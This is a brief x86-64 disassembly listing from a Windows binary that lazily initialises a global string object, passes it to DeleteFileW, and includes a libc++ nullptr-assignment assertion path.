mov rcx, qword [0x1400f9220]
test rcx, rcx
jne 0x14002c741
mov ecx, 0x18
call fcn.14008dd20
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov qword [0x1400f9220], rax
mov rdx, qword [rsi + 8]
test rdx, rdx
je 0x14002c776
call fcn.140027292
cmp dword [rsi + 0x14], 0
jne 0x14002c76b
mov rcx, qword [0x1400f9220]
cmp byte [rcx + 0x17], 0
jns 0x14002c765
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
add rsp, 0x30
pop rsi
jmp fcn.14002c900
lea rax, str.string::assign_received_nullptr
mov qword [rsp + 0x20], rax
lea rcx, str._s:_d:_assertion__s_failed:__s_n
lea rdx, str....._third_partylibc_srcinclude_string
lea r9, str.__s___nullptr
mov r8d, 0xa88
call fcn.140003cfc
int3